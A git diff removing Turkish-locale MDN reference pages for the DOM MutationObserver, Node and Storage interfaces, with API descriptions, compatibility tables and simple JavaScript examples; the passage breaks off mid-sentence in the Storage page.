-<p>JavaScript ile Web için kod yazarken kullanılabilecek çok fazla API vardır. Aşağıdaki listede Web uygulamanızı veya sitenizi geliştirirken kullanabileceğiniz tüm nesne tiplerini bulabilirsiniz.</p> - -<div><font><font><font><font><font><font><font><font><font><font><font><font>{{APIListAlpha}}</font></font></font></font></font></font></font></font></font></font></font></font></div> diff --git a/files/tr/web/api/mutationobserver/index.html b/files/tr/web/api/mutationobserver/index.html deleted file mode 100644 index 33b181344b..0000000000 --- a/files/tr/web/api/mutationobserver/index.html +++ /dev/null @@ -1,250 +0,0 @@ ---- -title: MutationObserver -slug: Web/API/MutationObserver -tags: - - API - - DOM - - Dönüşüm Gözlemcisi -translation_of: Web/API/MutationObserver ---- -<p>{{APIRef("DOM")}}</p> - -<p><code>MutationObserver</code>, geliştiricilere <a href="/en-US/docs/DOM">DOM</a>'da gerçekleşen değişimleri yakalanması ve bir tepki üretilmesi için bir yol sunar. <a href="/en-US/docs/DOM/Mutation_events">Dönüşüm (Mutasyon) Olayları</a>'nın yerini almak üzere tasarlanmış, DOM3 Events (Olaylar) belirlemesinde tanımlanmıştır.</p> - -<h2 id="Kurucu_İşlerlik_(İşlev)">Kurucu İşlerlik (İşlev)</h2> - -<h3 id="MutationObserver()"><code>MutationObserver()</code></h3> - -<p>DOM dönüşüm gözlemcilerini (mutation observer) yaratmak için kullanılır.</p> - -<pre class="syntaxbox">new MutationObserver( - function geriyeCagri -); -</pre> - -<h6 id="Yönergeler_(Parametreler)">Yönergeler (Parametreler)</h6> - -<dl> - <dt>geriyeCagri</dt> - <dd>Her DOM dönüşümünde çağrılacak işlerliktir. Gözlemci, bu işlerliği iki yönergeyle çağıracaktır. İlki, {{domxref("MutationRecord")}} cinsinden nesneleri barındıran bir dizi; ikincisi <code>MutationObserver</code>'ın geçerli olan örneğidir.</dd> -</dl> - -<h2 id="Nesne_İşlerlikleri">Nesne İşlerlikleri</h2> - -<table class="standard-table"> - <tbody> - <tr> - <td><code>void <a href="#observe()">observe</a>( {{domxref("Node")}} hedef, <a href="#MutationObserverInit">MutationObserverInit</a> ayarlar );</code></td> - </tr> - <tr> - <td><code>void <a href="#disconnect()">disconnect</a>();</code></td> - </tr> - <tr> - <td><code>Array <a href="#takeRecords()">takeRecords</a>();</code></td> - </tr> - </tbody> -</table> - -<div class="note"> -<p><strong>Anımsatma</strong>: Hedefin {{domxref("Node")}} diye belirtilen cinsi, <a href="https://nodejs.org/en/">NodeJS</a> ile karıştırılmamalıdır..</p> -</div> - -<h3 id="observe()"><code>observe()</code></h3> - -<p>Belirtilen DOM düğüm noktasının (node) yapısında meydana gelen değişimlerin bildirilebilmesi için <code>MutationObserver</code> nesnesini kaydettirir.</p> - -<pre class="syntaxbox">void observe( - {{domxref("Node")}} hedef, - <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> ayarlar -); -</pre> - -<h6 id="Yönergeler">Yönergeler</h6> - -<dl> - <dt><code>hedef</code></dt> - <dd>DOM yapısındaki dönüşümlerin gözleneceği, {{domxref("Node")}} sınıfında bir DOM düğüm noktasıdır.</dd> - <dt><code>ayarlar</code></dt> - <dd>Hangi dönüşümlerin bildirileceğini belirten bir <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> sınıfı nesnesidir.</dd> -</dl> - -<div class="note"><strong>Anımsatma:</strong> Bir DOM ögesine (element) gözlemci atamak tıpkı addEventListener ile bir olay belirtmek gibidir. Eğer aynı gözlemciyi aynı geriye çağrı (callback) işlerliğiyle birden fazla kez aynı ögeye atarsanız dönüşümlerde işlerlik ikişer-üçer kez çağrılmaz. Tek bir kez gerçekleşir. Fakat aynı gözlemciyi aynı ögeye farklı geriye çağrı işlerlikleriyle atarsanız bu durumda her dönüşümde belirtilen tüm geriye çağrı işlerlikleri yürütülür.</div> - -<h3 id="disconnect()"><code>disconnect()</code></h3> - -<p><code>MutationObserver</code> nesnesinin DOM dönüşümlerinden haber almasını durdurur. <a href="#observe()"><code>observe()</code></a> işlerliği çağrılıncaya dek, nesnenin geriye çağrı (callback) işlerliği, DOM dönüşümlerinde çağrılmaz.</p> - -<pre class="syntaxbox">void disconnect(); -</pre> - -<h3 id="takeRecords()"><code>takeRecords()</code></h3> - -<p><code>MutationObserver</code> nesnesinin kayıt kuyruğunda tuttuğu kayıtları elde etmeye ve kuyruğu boşaltmaya yarar.</p> - -<pre class="syntaxbox">Array takeRecords(); -</pre> - -<h6 id="Döndürülen_değer">Döndürülen değer</h6> - -<p>{{domxref("MutationRecord")}} nesnelerinden oluşmuş bir dizidir.</p> - -<h2 id="MutationObserverInit"><code>MutationObserverInit</code></h2> - -<p><code>MutationObserverInit</code> aşağıdaki niteliklerin tanımlandığı nesnedir.</p> - -<div class="note"><strong>Anımsatma:</strong> En azından <code>childList</code>, <code>attributes</code> veyâ <code>characterData</code> nitelikleri <code>true</code> olarak belirtilmelidir. Tersi durumda, "Geçersiz veyâ hatalı bir metin belirtildi. (An invalid or illegal string was specified)" hatasıyla karşılaşılabilir.</div> - -<table class="standard-table"> - <tbody> - <tr> - <td class="header">Nitelik</td> - <td class="header">Açıklama</td> - </tr> - <tr> - <td><code>childList</code></td> - <td>Eğer <code>true</code> olarak belirtilirse DOM öğesinde gerçekleştirilen öge veyâ düğüm noktası eklemeler-çıkarmalar gözlenir. Metin düğüm noktaları (text node) da bunun içerisindedir.</td> - </tr> - <tr> - <td><code>attributes</code></td> - <td>Eğer <code>true</code> olarak belirtilirse hedef ögenin niteliklerinde ortaya çıkan değişiklikler gözlenir.</td> - </tr> - <tr> - <td><code>characterData</code></td> - <td>Eğer <code>true</code> olarak belirtilirse hedef ögenin verisindeki değişimler gözlenir.</td> - </tr> - <tr> - <td><code>subtree</code></td> - <td>Eğer <code>true</code> olarak belirtilirse hedef ögenin ve altögelerinin dönüşümleri gözlenir.</td> - </tr> - <tr> - <td><code>attributeOldValue</code></td> - <td>Eğer <code>true</code> olarak belirtilirse niteliğin değişimden önceki değeri de kayıt altına alınır.</td> - </tr> - <tr> - <td><code>characterDataOldValue</code></td> - <td>Eğer <code>true</code> olarak belirtilirse ögenin verisinin değişimden önceki değeri de kaydedilir.</td> - </tr> - <tr> - <td><code>attributeFilter</code></td> - <td>Eğer tüm niteliklerin gözlenmesi gerekmiyorsa gözlenmesi istenen niteliklerin adlarının bir dizisi bu niteliğe atanır.</td> - </tr> - </tbody> -</table> - -<h2 id="Örnek_Kullanım">Örnek Kullanım</h2> - -<p>Aşağıdaki örnek <a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">bu blog gönderisinden</a> alınmıştır. Ancak açıklamalar ve değişken adları değiştirilmiştir.</p> - -<pre class="brush: js">// Hedef DOM ögesini seç. -var nHedef = document.getElementById('bir-kimlik-degeri'); - -// Bir gözlemci yarat. -var nGozlemci = new MutationObserver(function(nDonusumler) { - - // Öge dönüştüğünde, tüm dönüşümleri dolaş. - nDonusumler.forEach(function(nDonusum) { - - // Sıradaki dönüşümü komut satırı ekranına yazdır. - console.log(nDonusum.type); - - }); - -}); - -// Gözlemcinin ayarlarını belirle. -var nAyarlar = { attributes: true, childList: true, characterData: true }; - -// Gözlemciyi belirlenen ayarlarla belirtilen ögeye ata. -nGozlemci.observe(nHedef, nAyarlar); - -// Daha sonraları, aşağıdaki komutla gözlemleme durdurulabilir. -nGozlemci.disconnect(); -</pre> - -<h2 id="Ayrıca_Okuyunuz">Ayrıca Okuyunuz</h2> - -<ul> - <li><a class="external" href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" rel="freelink">Kısa bir inceleme</a></li> - <li><a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">Daha ayrıntılı bir tartışma</a></li> - <li><a class="external" href="http://www.youtube.com/watch?v=eRZ4pO0gVWw" rel="freelink">Chromium geliştiricisi Rafael Weinstein'ın ekran vidyosu</a></li> - <li><a class="external" href="http://code.google.com/p/mutation-summary/" rel="freelink">Dönüşüm özet kütüphanesi</a></li> -</ul> - -<h2 id="Specifications" name="Specifications">Belirlemeler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Belirleme</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}</td> - <td>{{ Spec2('DOM WHATWG') }}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Desteği">Tarayıcı Desteği</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Durum</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel destek</td> - <td>18 {{property_prefix("-webkit")}}<br> - 26</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop(14)}}</td> - <td>11</td> - <td>15</td> - <td>6.0 {{property_prefix("-webkit")}}<br> - 7</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Durum</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Temel destek</td> - <td>4.4</td> - <td>18 {{property_prefix("-webkit")}}<br> - 26</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile(14)}}</td> - <td>11 (8.1)</td> - <td>15</td> - <td>6 {{property_prefix("-webkit")}}<br> - 7</td> - </tr> - </tbody> -</table> -</div> diff --git a/files/tr/web/api/node/index.html b/files/tr/web/api/node/index.html deleted file mode 100644 index 481eb416b0..0000000000 --- a/files/tr/web/api/node/index.html +++ /dev/null @@ -1,383 +0,0 @@ ---- -title: Node -slug: Web/API/Node -tags: - - API - - DOM - - Interface - - NeedsTranslation - - Node - - Reference - - TopicStub -translation_of: Web/API/Node ---- -<p>{{APIRef("DOM")}}</p> - -<p><span class="seoSummary"><strong><code>Node</code></strong> is an interface from which various types of DOM API objects inherit, allowing those types to be treated similarly; for example, inheriting the same set of methods, or being testable in the same way.</span></p> - -<p>All of the following interfaces inherit the <code>Node</code> interface's methods and properties: {{DOMxRef("Document")}}, {{DOMxRef("Element")}}, {{DOMxRef("Attr")}}, {{DOMxRef("CharacterData")}} (which {{DOMxRef("Text")}}, {{DOMxRef("Comment")}}, and {{DOMxRef("CDATASection")}} inherit), {{DOMxRef("ProcessingInstruction")}}, {{DOMxRef("DocumentFragment")}}, {{DOMxRef("DocumentType")}}, {{DOMxRef("Notation")}}, {{DOMxRef("Entity")}}, {{DOMxRef("EntityReference")}}</p> - -<p>Those interfaces may return <code>null</code> in certain cases where the methods and properties are not relevant. They may throw an exception — for example when adding children to a node type for which no children can exist.</p> - -<p>{{InheritanceDiagram}}</p> - -<h2 id="Properties">Properties</h2> - -<p><em>Inherits properties from its parent, {{DOMxRef("EventTarget")}}</em>.<sup>[1]</sup></p> - -<dl> - <dt>{{DOMxRef("Node.baseURI")}}{{ReadOnlyInline}}</dt> - <dd>Returns a {{DOMxRef("DOMString")}} representing the base URL of the document containing the <code>Node</code>.</dd> - <dt>{{DOMxRef("Node.baseURIObject")}} {{Non-standard_inline}} {{ReadOnlyInline}}</dt> - <dd>(Not available to web content.) The {{ Interface("nsIURI") }} object representing the base URI for the element.</dd> - <dt>{{DOMxRef("Node.childNodes")}}{{ReadOnlyInline}}</dt> - <dd>Returns a live {{DOMxRef("NodeList")}} containing all the children of this node. {{DOMxRef("NodeList")}} being live means that if the children of the <code>Node</code> change, the {{DOMxRef("NodeList")}} object is automatically updated.</dd> - <dt>{{DOMxRef("Node.firstChild")}}{{ReadOnlyInline}}</dt> - <dd>Returns a {{DOMxRef("Node")}} representing the first direct child node of the node, or <code>null</code> if the node has no child.</dd> - <dt>{{DOMxRef("Node.isConnected")}}{{ReadOnlyInline}}</dt> - <dd>A boolean indicating whether or not the Node is connected (directly or indirectly) to the context object, e.g. the {{DOMxRef("Document")}} object in the case of the normal DOM, or the {{DOMxRef("ShadowRoot")}} in the case of a shadow DOM.</dd> - <dt>{{DOMxRef("Node.lastChild")}}{{ReadOnlyInline}}</dt> - <dd>Returns a {{DOMxRef("Node")}} representing the last direct child node of the node, or <code>null</code> if the node has no child.</dd> - <dt>{{DOMxRef("Node.nextSibling")}}{{ReadOnlyInline}}</dt> - <dd>Returns a {{DOMxRef("Node")}} representing the next node in the tree, or <code>null</code> if there isn't such node.</dd> - <dt>{{DOMxRef("Node.nodeName")}}{{ReadOnlyInline}}</dt> - <dd>Returns a {{DOMxRef("DOMString")}} containing the name of the <code>Node</code>. The structure of the name will differ with the node type. E.g. An {{DOMxRef("HTMLElement")}} will contain the name of the corresponding tag, like <code>'audio'</code> for an {{DOMxRef("HTMLAudioElement")}}, a {{DOMxRef("Text")}} node will have the <code>'#text'</code> string, or a {{DOMxRef("Document")}} node will have the <code>'#document'</code> string.</dd> - <dt>{{DOMxRef("Node.nodeType")}}{{ReadOnlyInline}}</dt> - <dd>Returns an <code>unsigned short</code> representing the type of the node. Possible values are: - <table class="standard-table"> - <thead> - <tr> - <th scope="col">Name</th> - <th scope="col">Value</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>ELEMENT_NODE</code></td> - <td><code>1</code></td> - </tr> - <tr> - <td><code>ATTRIBUTE_NODE</code> {{Deprecated_Inline}}</td> - <td><code>2</code></td> - </tr> - <tr> - <td><code>TEXT_NODE</code></td> - <td><code>3</code></td> - </tr> - <tr> - <td><code>CDATA_SECTION_NODE</code></td> - <td><code>4</code></td> - </tr> - <tr> - <td><code>ENTITY_REFERENCE_NODE</code> {{Deprecated_Inline}}</td> - <td><code>5</code></td> - </tr> - <tr> - <td><code>ENTITY_NODE</code> {{Deprecated_Inline}}</td> - <td><code>6</code></td> - </tr> - <tr> - <td><code>PROCESSING_INSTRUCTION_NODE</code></td> - <td><code>7</code></td> - </tr> - <tr> - <td><code>COMMENT_NODE</code></td> - <td><code>8</code></td> - </tr> - <tr> - <td><code>DOCUMENT_NODE</code></td> - <td><code>9</code></td> - </tr> - <tr> - <td><code>DOCUMENT_TYPE_NODE</code></td> - <td><code>10</code></td> - </tr> - <tr> - <td><code>DOCUMENT_FRAGMENT_NODE</code></td> - <td><code>11</code></td> - </tr> - <tr> - <td><code>NOTATION_NODE</code> {{Deprecated_Inline}}</td> - <td><code>12</code></td> - </tr> - </tbody> - </table> - </dd> - <dt>{{DOMxRef("Node.nodeValue")}}</dt> - <dd>Returns / Sets the value of the current node.</dd> - <dt>{{DOMxRef("Node.ownerDocument")}}{{ReadOnlyInline}}</dt> - <dd>Returns the {{DOMxRef("Document")}} that this node belongs to. If the node is itself a document, returns <code>null</code>.</dd> - <dt>{{DOMxRef("Node.parentNode")}}{{ReadOnlyInline}}</dt> - <dd>Returns a {{DOMxRef("Node")}} that is the parent of this node. If there is no such node, like if this node is the top of the tree or if doesn't participate in a tree, this property returns <code>null</code>.</dd> - <dt>{{DOMxRef("Node.parentElement")}}{{ReadOnlyInline}}</dt> - <dd>Returns an {{DOMxRef("Element")}} that is the parent of this node. If the node has no parent, or if that parent is not an {{DOMxRef("Element")}}, this property returns <code>null</code>.</dd> - <dt>{{DOMxRef("Node.previousSibling")}}{{ReadOnlyInline}}</dt> - <dd>Returns a {{DOMxRef("Node")}} representing the previous node in the tree, or <code>null</code> if there isn't such node.</dd> - <dt>{{DOMxRef("Node.textContent")}}</dt> - <dd>Returns / Sets the textual content of an element and all its descendants.</dd> -</dl> - -<h3 id="Obsolete_properties">Obsolete properties</h3> - -<dl> - <dt>{{DOMxRef("Node.localName")}} {{Obsolete_Inline}}{{ReadOnlyInline}}</dt> - <dd>Returns a {{DOMxRef("DOMString")}} representing the local part of the qualified name of an element. - <div class="blockIndicator note"> - <p><strong>Note:</strong> In Firefox 3.5 and earlier, the property upper-cases the local name for HTML elements (but not XHTML elements). In later versions, this does not happen, so the property is in lower case for both HTML and XHTML.</p> - </div> - </dd> - <dt>{{DOMxRef("Node.namespaceURI")}} {{Obsolete_Inline}}{{ReadOnlyInline}}</dt> - <dd>The namespace URI of this node, or <code>null</code> if it is no namespace. - <div class="blockIndicator note"> - <p><strong>Note:</strong> In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the <code><a class="linkification-ext external" href="https://www.w3.org/1999/xhtml/">http://www.w3.org/1999/xhtml/</a></code> namespace in both HTML and XML trees.</p> - </div> - </dd> - <dt>{{DOMxRef("Node.nodePrincipal")}} {{Non-standard_inline}}{{Obsolete_Inline("gecko46")}}</dt> - <dd>A {{Interface("nsIPrincipal")}} representing the node principal.</dd> - <dt>{{DOMxRef("Node.prefix")}} {{Obsolete_Inline}}{{ReadOnlyInline}}</dt> - <dd>Is a {{DOMxRef("DOMString")}} representing the namespace prefix of the node, or <code>null</code> if no prefix is specified.</dd> - <dt>{{DOMxRef("Node.rootNode")}} {{Obsolete_Inline}}{{ReadOnlyInline}}</dt> - <dd>Returns a {{DOMxRef("Node")}} object representing the topmost node in the tree, or the current node if it's the topmost node in the tree. This has been replaced by {{DOMxRef("Node.getRootNode()")}}.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>Inherits methods from its parent, {{DOMxRef("EventTarget")}}</em>.<sup>[1]</sup></p> - -<dl> - <dt>{{DOMxRef("Node.appendChild()", "Node.appendChild(<var>childNode</var>)")}}</dt> - <dd>Adds the specified <code><var>childNode</var></code> argument as the last child to the current node.<br> - If the argument referenced an existing node on the DOM tree, the node will be detached from its current position and attached at the new position.</dd> - <dt>{{DOMxRef("Node.cloneNode()")}}</dt> - <dd>Clone a {{DOMxRef("Node")}}, and optionally, all of its contents. By default, it clones the content of the node.</dd> - <dt>{{DOMxRef("Node.compareDocumentPosition()")}}</dt> - <dd>Compares the position of the current node against another node in any other document.</dd> - <dt>{{DOMxRef("Node.contains()")}}</dt> - <dd>Returns a {{jsxref("Boolean")}} value indicating whether or not a node is a descendant of the calling node.</dd> - <dt>{{domxref("Node.getBoxQuads()")}} {{experimental_inline}}</dt> - <dd>Returns a list of the node's CSS boxes relative to another node.</dd> - <dt>{{DOMxRef("Node.getRootNode()")}}</dt> - <dd>Returns the context object's root which optionally includes the shadow root if it is available. </dd> - <dt>{{DOMxRef("Node.hasChildNodes()")}}</dt> - <dd>Returns a {{jsxref("Boolean")}} indicating whether or not the element has any child nodes.</dd> - <dt>{{DOMxRef("Node.insertBefore()")}}</dt> - <dd>Inserts a {{DOMxRef("Node")}} before the reference node as a child of a specified parent node.</dd> - <dt>{{DOMxRef("Node.isDefaultNamespace()")}}</dt> - <dd>Accepts a namespace URI as an argument and returns a {{jsxref("Boolean")}} with a value of <code>true</code> if the namespace is the default namespace on the given node or <code>false</code> if not.</dd> - <dt>{{DOMxRef("Node.isEqualNode()")}}</dt> - <dd>Returns a {{jsxref("Boolean")}} which indicates whether or not two nodes are of the same type and all their defining data points match.</dd> - <dt>{{DOMxRef("Node.isSameNode()")}}</dt> - <dd>Returns a {{jsxref("Boolean")}} value indicating whether or not the two nodes are the same (that is, they reference the same object).</dd> - <dt>{{DOMxRef("Node.lookupPrefix()")}}</dt> - <dd>Returns a {{DOMxRef("DOMString")}} containing the prefix for a given namespace URI, if present, and <code>null</code> if not. When multiple prefixes are possible, the result is implementation-dependent.</dd> - <dt>{{DOMxRef("Node.lookupNamespaceURI()")}}</dt> - <dd>Accepts a prefix and returns the namespace URI associated with it on the given node if found (and <code>null</code> if not). Supplying <code>null</code> for the prefix will return the default namespace.</dd> - <dt>{{DOMxRef("Node.normalize()")}}</dt> - <dd>Clean up all the text nodes under this element (merge adjacent, remove empty).</dd> - <dt>{{DOMxRef("Node.removeChild()")}}</dt> - <dd>Removes a child node from the current element, which must be a child of the current node.</dd> - <dt>{{DOMxRef("Node.replaceChild()")}}</dt> - <dd>Replaces one child {{DOMxRef("Node")}} of the current one with the second one given in parameter.</dd> -</dl> - -<h3 id="Obsolete_methods">Obsolete methods</h3> - -<dl> - <dt>{{DOMxRef("Node.getFeature()")}} {{Obsolete_Inline}}</dt> - <dd></dd> - <dt>{{DOMxRef("Node.getUserData()")}} {{Obsolete_Inline}}</dt> - <dd>Allows a user to get some {{DOMxRef("DOMUserData")}} from the node.</dd> - <dt>{{DOMxRef("Node.hasAttributes()")}} {{Obsolete_Inline}}</dt> - <dd>Returns a {{jsxref("Boolean")}} indicating if the element has any attributes, or not.</dd> - <dt>{{DOMxRef("Node.isSupported()")}} {{Obsolete_Inline}}</dt> - <dd>Returns a {{jsxref("Boolean")}} flag containing the result of a test whether the DOM implementation implements a specific feature and this feature is supported by the specific node.</dd> - <dt>{{DOMxRef("Node.setUserData()")}} {{Obsolete_Inline}}</dt> - <dd>Allows a user to attach, or remove, {{DOMxRef("DOMUserData")}} to the node.</dd> -</dl> - -<h2 id="Examples">Examples</h2> - -<h3 id="Remove_all_children_nested_within_a_node">Remove all children nested within a node</h3> - -<pre class="brush: js">function removeAllChildren(element) { - while (element.firstChild) { - element.removeChild(element.firstChild) - } -}</pre> - -<h4 id="Sample_usage">Sample usage</h4> - -<pre class="brush: js;">/* ... an alternative to document.body.innerHTML = "" ... */ -removeAllChildren(document.body)</pre> - -<h3 id="Recurse_through_child_nodes">Recurse through child nodes</h3> - -<p>The following function recursively calls a callback function for each node contained by a root node (including the root itself):</p> - -<pre class="brush: js;">function eachNode(rootNode, callback) { - if (!callback) { - const nodes = [] - eachNode(rootNode, function(node) { - nodes.push(node) - }) - return nodes - } - - if (false === callback(rootNode)) { - return false - } - - if (rootNode.hasChildNodes()) { - const nodes = rootNode.childNodes - for (let i = 0, l = nodes.length; i < l; ++i) { - if (false === eachNode(nodes[i], callback)) { - return - } - } - } -} -</pre> - -<h4 id="Syntax">Syntax</h4> - -<pre class="syntaxbox">eachNode(<var>rootNode</var>, <var>callback</var>)</pre> - -<h4 id="Description">Description</h4> - -<p>Recursively calls a function for each descendant node of <code><var>rootNode</var></code> (including the root itself).</p> - -<p>If <code><var>callback</var></code> is omitted, the function returns an {{jsxref("Array")}} instead, which contains <code><var>rootNode</var></code> and all nodes contained within.</p> - -<p>If <code><var>callback</var></code> is provided, and it returns {{jsxref("Boolean")}} <code>false</code> when called, the current recursion level is aborted, and the function resumes execution at the last parent's level. This can be used to abort loops once a node has been found (such as searching for a text node which contains a certain string).</p> - -<h4 id="Parameters">Parameters</h4> - -<dl> - <dt><code><var>rootNode</var></code></dt> - <dd>The <code>Node</code> object whose descendants will be recursed through.</dd> - <dt><code><var>callback</var></code> {{optional_inline}}</dt> - <dd>An optional callback <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function">function</a> that receives a <code>Node</code> as its only argument. If omitted, <code>eachNode</code> returns an {{jsxref("Array")}} of every node contained within <code><var>rootNode</var></code> (including the root itself).</dd> -</dl> - -<h4 id="Sample_usage_2">Sample usage</h4> - -<p>The following example prints the <a href="/en-US/docs/Web/API/Node/textContent"><code>textContent</code></a> properties of each <code><span></code> tag in a <code><div></code> element named <code>"box"</code>:</p> - -<pre class="brush: html;"><div id="box"> - <span>Foo</span> - <span>Bar</span> - <span>Baz</span> -</div></pre> - -<pre class="brush: js;">const box = document.getElementById("box") -eachNode(box, function(node) { - if (null != node.textContent) { - console.log(node.textContent) - } -})</pre> - -<p>The above will result in the following strings printing to the user's console:</p> - -<pre class="brush: js;">"\n\t", "Foo", "\n\t", "Bar", "\n\t", "Baz"</pre> - -<div class="blockIndicator note"> -<p><strong>Note:</strong> Whitespace forms part of a {{DOMxRef("Text")}} node, meaning indentation and newlines form separate <code>Text</code> between the <code>Element</code> nodes.</p> -</div> - -<h4 id="Realistic_usage">Realistic usage</h4> - -<p>The following demonstrates a real-world use of the <code>eachNode()</code> function: searching for text on a web-page.</p> - -<p>We use a wrapper function named <code>grep</code> to do the searching:</p> - -<pre class="brush: js;">function grep(parentNode, pattern) { - const matches = [] - let endScan = false - - eachNode(parentNode, function(node){ - if (endScan) { - return false - } - - // Ignore anything which isn't a text node - if (node.nodeType !== Node.TEXT_NODE) { - return - } - - if (typeof pattern === "string") { - if (-1 !== node.textContent.indexOf(pattern)) { - matches.push(node) - } - } - else if (pattern.test(node.textContent)) { - if (!pattern.global) { - endScan = true - matches = node - } - else { - matches.push(node) - } - } - }) - - return matches -}</pre> - -<p>For example, to find {{DOMxRef("Text")}} nodes that contain typos:</p> - -<pre class="brush: js;">const typos = ["teh", "adn", "btu", "adress", "youre", "msitakes"] -const pattern = new RegExp("\\b(" + typos.join("|") + ")\\b", "gi") -const mistakes = grep(document.body, pattern) -console.log(mistakes) -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("DOM WHATWG", "#interface-node", "Node")}}</td> - <td>{{Spec2("DOM WHATWG")}}</td> - <td>Added the following methods: <code>getRootNode()</code></td> - </tr> - <tr> - <td>{{SpecName("DOM4", "#interface-node", "Node")}}</td> - <td>{{Spec2("DOM4")}}</td> - <td>Removed the following properties: <code>attributes</code>, <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br> - Removed the following methods: <code>isSupported()</code>, <code>hasAttributes()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData()</code>.</td> - </tr> - <tr> - <td>{{SpecName("DOM3 Core", "core.html#ID-1950641247", "Node")}}</td> - <td>{{Spec2("DOM3 Core")}}</td> - <td>The methods <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> returns one more kind of error (<code>NOT_SUPPORTED_ERR</code>) if called on a {{DOMxRef("Document")}}.<br> - The <code>normalize()</code> method has been modified so that {{DOMxRef("Text")}} node can also be normalized if the proper {{DOMxRef("DOMConfiguration")}} flag is set.<br> - Added the following methods: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br> - Added the following properties: <code>baseURI</code> and <code>textContent</code>.</td> - </tr> - <tr> - <td>{{SpecName("DOM2 Core", "core.html#ID-1950641247", "Node")}}</td> - <td>{{Spec2("DOM2 Core")}}</td> - <td>The <code>ownerDocument</code> property was slightly modified so that {{DOMxRef("DocumentFragment")}} also returns <code>null</code>.<br> - Added the following properties: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br> - Added the following methods: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td> - </tr> - <tr> - <td>{{SpecName("DOM1", "level-one-core.html#ID-1950641247", "Node")}}</td> - <td>{{Spec2("DOM1")}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("api.Node")}}</p> diff --git a/files/tr/web/api/storage/index.html b/files/tr/web/api/storage/index.html deleted file mode 100644 index e351674887..0000000000 --- a/files/tr/web/api/storage/index.html +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: Saklama -slug: Web/API/Storage -tags: - - API - - Arayüz - - Başvuru - - Depolama - - Referans - - Saklama - - Veri - - Web Depolama - - Web Saklama -translation_of: Web/API/Storage ---- -<p>{{APIRef("Web Storage API")}}</p> - -<p>Web Saklama API'nin Storage arayüzü belirli bir alan için oturum belleğine ya da yerel belleğe erişim sağlar, örneğin saklanmış veri öğelerini ekleme, değiştirme ya da silme izni verir.</p> - -<p>Bir alan için oturum belleğini değiştirmek istiyorsanız, {{domxref("Window.sessionStorage")}} yöntemini çağırın; bir alan için yerel belleğini değiştirmek istiyorsanız, {{domxref("Window.localStorage")}} çağırın.</p> - -<h2 id="Özellikler">Özellikler</h2> - -<dl> - <dt>{{domxref("Storage.length")}} {{readonlyInline}}</dt> - <dd><code>Storage</code><span lang="tr"> <span class="hps">nesnesinde saklanan</span> <span class="hps">veri</span> <span class="hps">öğelerinin</span> <span class="hps">sayısını</span> belirten<span class="hps"> bir</span> <span class="hps">tamsayı</span> <span class="hps">döndürür.</span></span></dd> -</dl> - -<h2 id="Yöntemler">Yöntemler</h2> - -<dl> - <dt>{{domxref("Storage.key()")}}</dt> - <dd>Bir n numarası olduğunda, bu yöntem bellekte n. anahtarın ismini döndürecektir.</dd> -</dl> - -<dl> - <dt>{{domxref("Storage.getItem()")}}</dt> - <dd>Bir anahtar numarası olduğunda, bu anahtarın değerini döndürecektir.</dd> - <dt>{{domxref("Storage.setItem()")}}</dt> - <dd>Bir anahtarın ismi ile değeri olduğunda, bu anahtarı belleğe ekler ya da bu anahtarın değeri önceden varsa günceller.</dd> - <dt>{{domxref("Storage.removeItem()")}}</dt> - <dd>Bir anahtarın ismi olduğunda, bu anahtarı bellekten siler.</dd> - <dt>{{domxref("Storage.clear()")}}</dt> - <dd>Çağrıldığında, bütün anahtarları belleğin dışına boşaltacaktır.</dd> -</dl> - -<h2 id="Örnekler">Örnekler</h2> - -<p>Bir <code>Storage</code> nesnesini <code>localStorage</code> yolu ile çağırıyoruz. Here we access a <code>Storage</code> object by calling <code>localStorage</code>. Yerel belleğin <code>!localStorage.getItem('bgcolor')</code> kullanarak veri içerip içermediğini sınıyoruz. Olursa, {{domxref("localStorage.getItem()")}} kullanarak veri öğesi alan <code>setStyles()</code> 